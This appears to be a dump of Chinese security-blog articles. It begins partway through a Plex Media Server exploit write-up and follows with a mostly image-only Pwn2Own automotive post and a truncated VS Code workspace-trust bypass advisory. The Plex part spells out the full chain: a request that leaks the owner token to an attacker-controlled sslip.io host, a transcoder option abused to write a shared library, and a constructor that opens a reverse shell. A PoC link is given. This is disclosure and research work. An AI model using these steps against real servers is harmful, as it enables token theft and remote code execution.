url = 'http://127.0.0.1:32400/:/plugins/%s/messaging/%s' % (target, key)
```
由于缺乏输入净化，攻击者可以在标识符中插入?
字符开启查询字符串，或者使用#
字符截断后续路径。这样一来，攻击者就能**完全控制**
服务器接下来执行的环回请求的**整个路径和查询参数**
。
将这两个漏洞结合，我们就成功实现了**对环回环境任意插件函数的伪造调用权**
。
## 第三阶段：所有者令牌窃取 - 盗取黄金密钥
现在我们可以调用任何插件函数了，关键就在于**选择一个具有利用价值的函数**
。Plex内置的**TheTVDB代理**
（用于自动获取电视剧元数据）包含一个名为GetResultFromNetwork
的函数。这个函数本质上就是**获取指定URL的远程内容**
，理论上应该仅被内部调用来从thetvdb.com获取元数据。
**此时，早期提到的身份验证自动化行为开始发挥决定性作用**
： 每当插件框架发起对外HTTP请求时，它会检查请求的URL是否以http://127.0.0.1
开头：
```
if url.find('http://127.0.0.1') == 0:    request.headers['X-Plex-Token'] = os.environ['PLEXTOKEN']
```
如果是，服务器就会自动在请求头中附上**所有者的管理员令牌**
。这里关键的漏洞在于：这个检查是**无前缀界限的简单字符串匹配**
，这意味着像http://127.0.0.1.evil.com
这样的域名也**完全符合条件**
！
**sslip.io DNS服务的巧妙利用**
： 域名127.0.0.1.10-0-0-9.sslip.io
具有两个重要特性：
- **以127.0.0.1开头**
 -> 通过前缀检查，服务器自动附加所有者令牌
- **DNS解析实际指向10.0.0.9**
 -> 访问请求真正到达攻击者控制的服务端
因此，我们在第二阶段的注入中可以构造如下调用：
```
com.plexapp.agents.thetvdb/function/GetResultFromNetwork?url=http://127.0.0.1.<攻击者IP>.sslip.io:8952/leak#
```
当服务器执行这个请求时，会在X-Plex-Token
头中自动附上**宝贵的local-*所有者令牌**
，并将整个请求发送到攻击者控制的服务器。攻击者的侦听程序**直接捕获到这个黄金令牌**
。
有了这个令牌，对GET /:/prefs
、GET /accounts
和PUT /:/prefs
等关键API的访问**全部返回200成功状态码**
。攻击者**在从未获得任何真实凭证的情况下**
，已经取得了**服务器完全管理员权限**
！
## 第四阶段：载荷投递机制 - 将权限转化为代码写入
获得管理员权限只是万里长征的第一步，关键是将**权限提升转换为代码执行**
。我们的路径选择非常巧妙：**通过媒体转码系统完成恶意代码植入**
。
当客户端无法直接播放原始格式时，Plex会**实时运行转码引擎**
将媒体转换为兼容格式。转码端点/video/:/transcode/universal
接受一个path
参数，这个参数不仅可以是本地文件路径，也**支持HTTP URL**
作为媒体来源。服务器会：
1. **首先获取**
指定的URL，将其解析为**项目描述XML文档**
1. **从中提取**<Part key="...">
标签内的真实媒体文件URL
1. **再次远程获取**
实际的媒体字节数据进行转码
**关键发现**
：这两次HTTP获取**都没有任何主机白名单限制**
，我们可以将其**全部指向攻击者控制的服务器**
！
**转码器的命令行参数注入漏洞**
： Plex系统中有一个名为TranscoderH264Options
的**服务器全局偏好设置**
，用户可以配置自定义的命令行参数，这些参数会**直接附加到每个转码的x264编码器命令行尾部**
。特别是，x264
编码器支持一个名为dump-yuv
的调试选项，它能够**将解码后的YUV帧写入任意指定文件路径**
。
如果我们精心设置：TranscoderH264Options=dump-yuv=/目标路径/file.so:qp=0
**其中qp=0确保转码过程的完全无损性**
，使得解码后的数据帧成为输入数据的**比特级精确副本**
。由于我们完全控制输入数据，也就**间接控制了最终写入文件的所有字节**
。
**具体攻击执行计划**
：
1. 利用获得的管理员令牌**设置全局参数**
：
```
PUT /:/prefs?TranscoderH264Options=dump-yuv=<编解码器目录>/x.so:qp=0
```
1. 精心构建"载体视频"：
1. 编译一个**仅包含构造函数的ELF共享库**
1. 通过填充将其**展开至完整视频帧大小**
1. 编码为**无损H.264 MP4格式**
，确保第0帧的Y亮度通道**精确包含整个ELF二进制**
1. 搭建攻击服务器，托管**载体视频和配套的XML描述文件**
1. 触发目标转码：
```
GET /video/:/transcode/universal?path=http://攻击者服务器/item.xml
```
1. 转码器加载并解码视频，x264的dump-yuv
选项将**比特级精确的ELF二进制写入指定路径**
1. **清理痕迹**
，避免持续影响
**示例注入路径**
：
```
PUT /:/prefs?TranscoderH264Options=dump-yuv=/var/lib/plexmediaserver/.../Codecs/<集合ID>-linux-x86_64/x.so:qp=0
```
## 第五阶段：代码最终执行 - DLL劫持的完美演绎
Plex的"Codecs"目录**专门用于存储**
动态加载的编解码器库文件，目录结构由哈希算法生成的唯一集合ID和平台标识组成（例如<集合ID>-linux-x86_64
）。
**关键发现**
：在每次转码器启动时，Plex内置的libavutil.so.58
库中的avpriv_load_new_libs
函数会**自动枚举集合子目录，并对所有以.so结尾的文件执行dlopen(RTLD_NOW)**
。这个加载过程极其宽松：
- **不要求lib前缀**
- **不需要文件可执行权限**
- **不验证任何数字签名**
- **不检查导出符号的存在**
当dlopen
加载共享库时，**首先自动执行ELF文件的DT_INIT_ARRAY(构造函数)段**
，这发生在符号解析之前。这意味着，一个**仅包含构造函数、没有任何导出符号的.so文件**
也能在被加载时**立即执行其中的代码**
。
**最终的执行触发**
： 我们只需**第二次触发转码操作**
，编解码器目录会被重新枚举，我们在第四阶段写入的.so
文件被dlopen
加载，其中精心设计的构造函数**以uid=1000(plex)用户的权限开始执行**
！
**在PoC实现中**
，我们让构造函数fork()
出一个子进程并execve()
执行**反向Shell**
连接回攻击者控制的服务器。
## 负责任的漏洞披露时间线
<table><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><section><span leaf="">日期</span></section></th><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><section><span leaf="">关键事件</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><strong style="font-weight: bold;color: black;"><span leaf="">2026年7月27日</span></strong></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><section><span leaf="">正式向Plex安全团队报告: security@plex.tv</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><strong style="font-weight: bold;color: black;"><span leaf="">2026年8月4日</span></strong></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><section><span leaf="">Plex官方确认漏洞并支付安全赏金</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><strong style="font-weight: bold;color: black;"><span leaf="">2026年9月23日</span></strong></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><section><span leaf="">获得CVE编号：CVE-2026-96652、-96654、-96655、-96656</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><strong style="font-weight: bold;color: black;"><span leaf="">2026年10月16日</span></strong></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><section><span leaf="">公开披露技术细节</span></section></td></tr></tbody></table>
漏洞通过Plex的官方安全计划报告。特别感谢Plex安全团队的高效响应和及时修复。
PoC：https://github.com/code-zm/plex2shell
原文：https://zmain.info/blog/plex2shell
- END -
**感谢阅读，如果觉得还不错的话，动动手指给个三连吧～**
doc/2026-10/Pwn2Own 汽车赛事：漏洞、利用与经验总结.md
+157
View File
@@ -0,0 +1,157 @@
# Pwn2Own 汽车赛事：漏洞、利用与经验总结
GRCC
GRCC IoVSecurity 2026-10-20 00:00
![](https://mmbiz.qpic.cn/mmbiz_gif/CQb4KERYG3QA0ezCCjgRONQvXCf3wka7je04trwIyMqsDUWBubpwfiahXImiaoia7NnueGomOO28vicSZ5wEFFTa1Q/640?wx_fmt=gif#imgIndex=0 "")
点击上方
蓝色字体
，关注我们
**/**
**技术交流群****/**
添加微信
13918880149
\**15021948198(好友已满），申请会员下载ppt & 加入网络信息安全、测试评价、汽车电子、自动驾驶、智能机器人、智能船舶、超级高铁、飞行器、招聘求职、投融资合作群...**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNz6VXR01SzOjyAiaPCe5pjf9SeWJEibsvntLkyHpicViacZHJGB6HibbBKdK2VJicGA5NiaklOJAW2DBia65x73KSWKaCiaIia6eJaTucZcU/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=1 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNxics5sF78SUG60ztcVr9M4vibUv3hVoGVGX0BiaSGNyEicVdMFZzbfl1LP4iaA2iaNQibC0Yoib1bahaYYDibS1LyH6LEDNRYt2NFzHNPY/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=2 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNzIvWcysvhyFxCsjOpxcf0kThb9F4mMGJicQgyKhw0fTJXaUSGmejoR3HgnzNSnWTNwgdEfZeQfhv40ngicV6zzP51VYCibtvP7fo/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=3 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNwdTl1Ogr5ViaOZwicvKCaqLEibwcqoxrbQIQOozu99PXp0BBeFgiaBBibS83vMX5WNdwnIYgcyp16RibkWpIRUYSQicJZFPrIjpMn4ZA/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=4 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwow7gaQtziar4bOeFExqHIYficzzk2UxGV9KEtnG8HNvNGHsF6iagz51KzZUPp6Fxmb423tn8ibTn6XzSSBZ8QYgP1awXflSGGpVw/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=5 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNwVkq71M3c8ayj5BXfTG1uN8wHnbDicVZQsKZ9TC2T4UoosLZYuL298u7vIaUa4wicej48GSbNgrh9H6UrMvOSTSumQ6YKSTHIec/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=6 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwWaVUpEiaPxpibjyNxnLz2oUeatk0kC3au8cqLb55SLFzttdjwuicfQOlhgpL1Owg7DtKWNWBKBobVvGQKAq8XyLmBq140usiaacQ/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=7 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNycyK9oYrRwpFf0BwA4nicVrfoiaAR6gX4Bicc9fSeRQ0aYbs5uibPxp9zaSoZBAaib6DvHRowckde4SWK23fVwZ3HTxgaLzHOJLG4A/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=8 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNzv52ZfSm8lsHOERQ4pkj1iauS5icENmztxNHnibZWuDNnOUUdRNhor5Hic5JISRgFApXBtNAjgDZ71E6bGToWy1H2mLsBy91YU47g/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=9 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNzJOL2rkBzNcia24hibha9E2sRman8RbssbESVkNicY5tjM2LfyOiaFTAwLFuwq05icLs3IiaDKia8Fv9d6G8J44BDOichianqtulMaNhGA/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=10 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNzwWPwaO2zX4vRN7AeRd2t4qANauugxZuQTYPOBrHnef8wjcEK4wpw3s3Fj5ia2st4jPc4LUjaF5MtLwpe9JhHjgc40iagJcAthM/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=11 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwUsjL3oTBZ7Mfq7lsLUzKZowDoukbZUgtVibwCWiaWtI5rDUFiaicw6JoMxSbhOwvVPicF6UEPHnHfJYRK5Eibqp0AFYyv6MrafhltI/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=12 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNzaXWws7s1QfX62zqBjicRvKup0SEiafgI2eJmBuicoalTgLfRDicqeaWY9ThzssIttqsMAtsw33Y7tIxIAqb7icRkrczXibAYBILpIs/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=13 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNw7gO7ErKyLT03Qricw9ia95ANIsnIRTZytq3nhZgBgxtdLKUFbKrW8Q2skq4uJJKfxcOS5mw3ygtDjPQ5WpI7W2dNVLRD8huialI/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=14 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNx1RWoUebcKBzQiaMiaRPN9Gwh2IvpI9TLkDf7UlnCHTzVKBFMXJDyAEsIWWu6tH5fDdOBic5MffxKXbChCHwd8wObA5CWrP0Ww6g/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=15 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNyvfj302XVjTnwTcPAexggcyD6x8l7Wf6eptJJVYibPyXHMX9O5ozdkRfe8QNdMphTeuJ6mIKPk3HrygkoKO6FEDgBaJiavAu3AQ/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=16 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwNW1urwJsWD9OAGCAo6ErCKrDccTkkiciaw9qcOBbzhDd4rUIheX0eaCaaAINvs45bc7bhSx7FTEp3tQpcadB9VMiaYoMTZbBMFs/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=17 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNzmmQnn9nDIcWysLyvrbs2r2pdUwzz7s8NHr3PWsbicQIQIbTZMzlw9X7Yibtj3Y1ullITmFhWX9eHScjH43IRGrSEqdZVBKtOjI/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=18 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwL0T9kWp5YEibD6p8fbvIQDzECvrjSuloat2e1icVB8cJCcg9ibhIAydCegWRyhHEY4ibNWTsHhOgdicpx3rriaib1K3ZxkVvz1GUbX0/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=19 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNycgiblU6By36n8cVoG9KunWk797NrrGRMK98SzwwVj1YyIXsVgLia0CHHY46IbbgJ8tY2zEXK4McJo7avU4z7zPaNLDHoV27Sbw/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=20 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNx4R3NPTicZltcZZnmBj6Smo3qnsNRnV4P6IpKfupXoKiaHcuqfxlDxkzKGb7PbD0Q0icOKwWVShUUHkia6ibzRI5HPZiaTZHSYpCP10/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=21 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNzibRrDV4SSkJC7jYHWWe74xgxtgvIH3b4FalxATos35COqjlDoA7RjpEx3Zicp5HTWHIR112yLXDYAuBQKugNRlibGicsiaicokgd8U/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=22 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNyZ4dVh2oDgvC8RLPBvH13aOs5ufHhJC2kPnUoB4TAyj4SJGbRIyEfI60Ishzvh88O0cHcViavdSaOpp0nnCIwt30GpUeS02ibs4/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=23 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwWZyH8HPmWCorRpq3UCFJCdb0YUNwuyNouKHiaq0fLe8p0ZvB2VfiagtUBCb58hJLxlPUNgzkXqaxibRMzc55PrE0u47adU0yl7o/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=24 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNx6v5J7na3JFg9QcAU7dXMzl1kITgObjUgibIDhEicFW5ZWvdywVP1bbKrYSiaZBHmQGXksctM8Yvtj4Fyt0RfaOtQfNJ2fCoZD90/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=25 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwWU0OujyS9kULXq6qZibql6OxxOPX80BibDtYVPczguOT8FegLlgAJa7Xzc0Hia78mO80kOQNdx8BV5HoslxTnoD4I03b1YpGQ5k/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=26 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNyvP1Sz2ZQ6P0wQRiavuICvdT4ev7iacciakrFfibXiaWCp9Sv5ppKlaLuFRvZaNCHMwY6REiaxyZLnE4Szc3N2xaG3MiceyLUOLBsV9Y/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=27 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNxjGOweyd4JibUHcwQUicVNQHX2MibycibRZiap79gY7paCGlKCx79YdYV7KHWcSJzFXiaibZnMGqrYB4vH2BfnXaib4tS2p0WNpFFhO8A/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=28 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwUydey92Ckiawia5vrOha17VYVUWvtxlLibfE5cr2GTazJSx1xAH17tySYszCaa8TPelVicAdVmx7v7sR4ic3S8N8X99rf7ibgtOuE4/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=29 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwV0UuXuzSj9q8TlkVWRic45ic79I4MxAxkunVeyvgq5ibQZGrV1iahRiat6XCPU7038VADSv2ibl5nRFvZat42xlYp5JIZQSqGBV2K0/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=30 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNzyjeS3hyjPA3gOe9DKEaTvTb1OJ7uCBydNY0EibFgg07TyCpIHadIeibdQETNoJfOiaQ0mZNRIMp7tH7EqDRrYvAb2nHuYCRo8icg/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=31 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNy4nKs5JPsm09Z5Z8N0qVzOdswLcdKdsTlHjDaXfQa8OMgvGLobwVlNiaymKZnRYW21onrPT4lhd6qIftmgh4sibKNAIurrJSGjc/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=32 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNxLNYKQhgr7eAIU7C745WMkWMmZwLfq5glNWiaTicRZjuB8lFjiapibl9v89Xq4iaJU3A0DuxibNrWXYmurKrpiagZZRBpwic8L3XEJKCo/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=33 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNyeEyeUtNs0Z8c0ul3Mb1KJKOyn2rysu6kbtBdfhicMw9HSZBqiaLpbfUS7jNJDjFWicNae3VicbcsGSYzUfiaCaWRb1pFg0MZawwAo/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=34 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNxicSxEhjUr3cPERESKWMniccT7OxG1Hsq8LvWfmSJwjtr8aBJibcLIIdfZWhtvNbArcibqZicjBUb2gkxTVZZjrURPb17nN4qxJKMM/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=35 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNzCIa88od9wcwsGBgnOBSd0Y6ePITpcKRibYHYS005BiabQzWOfdjQQqaCDqVQCibrSWROCHxhvXpxWKJtJQmnFQKwaMx8oQACcQA/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=36 "")
![](https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iabwjyojLhA03PtxUnkNPREnt2F48ywfXLpDdDAjicOTPI8Q94tVLbJ58tbRs12iaXDKhUOW9gd4NlFA/640?wx_fmt=gif#imgIndex=37 "")
相关文章
# 整车信息安全设计对车企的挑战与一汽奔腾的应对
# 智能网联汽车安全测评的中国方案与实践
# 国强标下智能网联汽车信息安全检测解决方案
#
![](https://mmbiz.qpic.cn/mmbiz_gif/MfTd6rd9CyvNRMW8I9cvI1CK5gKiaYqg2veTn9t9dAe1GxYic7pAvgvRIKNFickConFyX8AvW2reAq8GchJI6aBpA/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=38 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNzNY8CmicuhgtyPx1PLL1NOwv1ExPIe7z2r0Qo75qPLQkXmLSMoniaTFbdd1mfUbSyImqlCuKEau7tMqvbwsuMdBCf5sQh4EysRE/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=39 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNw1TS1MbiaAUZUxwVxhXrkDpMIdicxlfFE6olg1ia9BVTy2dVbzKicMicavwib7IMibDqnfZexXMZWibXHJbLA0ouMj4DXQPDtqMQTXzWQ/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=40 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwXE2uQjPpYbnUHRotK0guaCRJodAEhl8DkNSPkA6I7HxrP8g8sXICu7EERsRfXnfWIdx6tbfiagx4ibqr7T2IQia3vL7PB8Dn238/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=41 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwGCGVo8OZnTkf3jBGEWqPuMZuMhbzngn0CzM2y8aA9UqskDa9V25ZFTrxDRjr5TWeMOawWSTicLayNXbdEjuTpMpvgiadia8j3Zk/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=42 "")
![](https://mmbiz.qpic.cn/mmbiz_png/8Pvibnf7ic0cy77VtN8ibA7XuZgvGQoicjpar7CWkfIEXV4CEjiankS0tjDZEUgxhNHf0HicpBNcO4YuhOm5eIdb7RaA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=43 "")
![](https://mmbiz.qpic.cn/mmbiz_png/9yhibG49kQicogTWBZcB6XwgTib9lH6QN57pFdZwoRicFbc3JLM7icu8hadyzRKztBHGZ7eDEVgMiaHYqExfhbbpb5vA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=44 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNxTM4koEqbuI1FWIEqlicNMW0CC4KdeBpXrzETqg3hk0FJ0v9BPDuLsJZMJP8ewqC0WBdMc0pTXhYibSibDnd5nlsE2ZOaheMRtPE/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=45 "")
扫描二维码**申请**
会员**下载ppt**
 & 
加入行业交流群
获取合作机会
![](https://mmbiz.qpic.cn/mmbiz_png/kuhNyShuqyAGSIk680L6OHthYzkwuUDkKqfw3icohb1JLrEvjicKgfaiatIDP1L7RN7zPQkzbrksWzTMmgh5LKjzA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=46 "")
![](https://mmbiz.qpic.cn/mmbiz_jpg/uTSIm9RGwm0ibSggKRaicPibLl2nXk3lGdgeoXo0P9Xy8e2aNHPm3LOhKjicHk2zhB5V1ar3CwUTs258UkiaTPYq4gw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=47 "")
扫描二维码获取
更多精彩
![](https://mmbiz.qpic.cn/mmbiz_png/XiacM3aibSNia0qvdL1PUiaZugASarnXx5wAxT5ic13sgRB49E67AsdWeZpHnibUEW2oibToqEWRjHmImztgv33MaknnQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=48 "")
关注“**IoVSecurity**
”
![](https://mmbiz.qpic.cn/mmbiz_png/fBQwicMRtG3qyicHcTibNaG9RMs2E8knzWpfH0gnibzKsciaBTYdnW8mFyNgvEAqBNoib29iasxMgwh2gWRSIkINyHVLA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=49 "")
![](https://mmbiz.qpic.cn/mmbiz_png/D7nIuxbSmauhlzDVRGHTibAGyGcFvY5qFSPyZdMCxTSXwjhzFTotRe6rciaIxatoAHF0MPI73MMPAbf0UUMIMSvw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=50 "")
点个在看
你最好看
doc/2026-10/VS Code曝远程代码执行漏洞(CVE-2026-81376)，攻击者或可利用嵌套工作区设置绕过安全限制.md
+88
View File
@@ -0,0 +1,88 @@
# VS Code曝远程代码执行漏洞(CVE-2026-81376)，攻击者或可利用嵌套工作区设置绕过安全限制
tuto
tuto 杂杂咱谈 2026-10-20 01:13
## 一、漏洞概述
安全研究人员公开披露了影响Visual Studio Code的安全漏洞CVE-2026-81376。该漏洞涉及VS Code的工作区信任机制，攻击者可能利用设置处理过程中的安全限制绕过问题，进一步实现远程代码执行。
该问题属于安全功能绕过。其核心线索与VS Code的settings.json配置处理、受限设置过滤机制以及嵌套工作区设置有关。
VS Code的工作区信任机制旨在降低用户打开不可信项目时的安全风险，通过限制部分功能和设置，防止恶意工作区触发不必要的危险操作。然而，如果安全检查未能正确处理特定形式的嵌套配置对象，就可能导致原本应受到限制的设置绕过防护。
该漏洞已获得微软安全响应中心确认，并于2026年9月8日正式分配CVE编号，相关安全公告也已发布。
## 二、漏洞基本信息
<table><thead><tr><th><section style="font-size: 17px;font-weight: 500;color: rgb(43, 119, 191);line-height: 1.8;margin-bottom: 12px;"><span leaf=""><span textstyle="" style="font-size: 20px">项目</span></span></section></th><th style="text-align: left;"><section><span leaf="">详情</span></section></th></tr></thead><tbody><tr><td style="text-align: left;"><section><span leaf="">漏洞编号</span></section></td><td style="text-align: left;"><section><span leaf="">CVE-2026-81376</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">受影响产品</span></section></td><td style="text-align: left;"><section><span leaf="">Visual Studio Code</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">漏洞类型</span></section></td><td style="text-align: left;"><section><span leaf="">安全功能绕过、输入验证问题</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">潜在影响</span></section></td><td style="text-align: left;"><section><span leaf="">远程代码执行</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">涉及安全机制</span></section></td><td style="text-align: left;"><section><span leaf="">Workspace Trust</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">相关配置</span></section></td><td><p><span leaf="">settings.json、嵌套工作区设置</span></p></td></tr><tr><td style="text-align: left;"><section><span leaf="">漏洞报告接收方</span></section></td><td style="text-align: left;"><section><span leaf="">微软安全响应中心</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">赏金金额</span></section></td><td style="text-align: left;"><section><span leaf="">4,000美元</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">公开披露日期</span></section></td><td style="text-align: left;"><section><span leaf="">2026年9月10日</span></section></td></tr></tbody></table>
三、漏洞成因分析
### 1. 工作区信任机制
VS Code提供Workspace Trust机制，用于区分可信和不可信的项目工作区。
当用户打开来源不明的项目时，工作区信任机制可以限制部分功能，降低恶意项目利用编辑器功能实施攻击的风险。
这类保护措施对于开发人员尤其重要，因为开发项目可能包含工作区配置、任务定义、扩展配置以及其他能够影响编辑器行为的内容。
### 2. 受限设置过滤机制
漏洞涉及VS Code对受限设置的过滤过程。
安全机制通常需要识别并限制不可信工作区中不应生效的配置项。如果配置检查只正确处理常规格式，却未能覆盖某些特殊的对象结构，就可能出现安全校验与后续配置处理之间的不一致。
### 3. 嵌套对象形式引发的校验绕过
通过嵌套工作区设置突破settings.json的安全限制。问题可能与配置对象的嵌套形式、输入验证及受限设置过滤逻辑有关。
如果安全过滤逻辑未能递归检查或规范化处理相关配置结构，某些原本应被拦截的设置就可能在后续处理过程中被错误接受。
## 四、PoC演示: VS Code工作区信任机制绕过
## 五、潜在安全影响
如果攻击者能够利用该漏洞绕过工作区信任机制，可能削弱VS Code对不可信项目的安全防护，并在满足相应利用条件时进一步触发代码执行。
风险包括：
- 工作区安全限制失效: 不可信项目中的特定配置可能突破原有安全约束。
- 开发环境安全风险增加: 用户打开恶意项目时，可能面临超出预期的安全风险。
- 本地敏感数据面临风险: 如果后续攻击链能够在用户权限下执行代码，可能进一步访问当前账户有权读取的文件和开发资料。
- 开发工作流受到影响: 开发人员、代码审计人员以及经常处理第三方仓库的用户应关注相关安全公告。
## 六、披露与修复时间线
<table><thead><tr><th style="text-align: left;"><section><span leaf="">日期</span></section></th><th style="text-align: left;"><section><span leaf="">事件</span></section></th></tr></thead><tbody><tr><td style="text-align: left;"><section><span leaf="">2026年5月23日</span></section></td><td style="text-align: left;"><section><span leaf="">向微软安全响应中心报告漏洞。</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">2026年5月23日</span></section></td><td style="text-align: left;"><section><span leaf="">MSRC建立案件，并将状态调整为&#34;Review/Repro&#34;。</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">2026年6月3日</span></section></td><td style="text-align: left;"><section><span leaf="">MSRC 确认漏洞，将状态调整为&#34;Develop&#34;。</span></section></td></tr><tr><td style="text-align: left;"><section><span 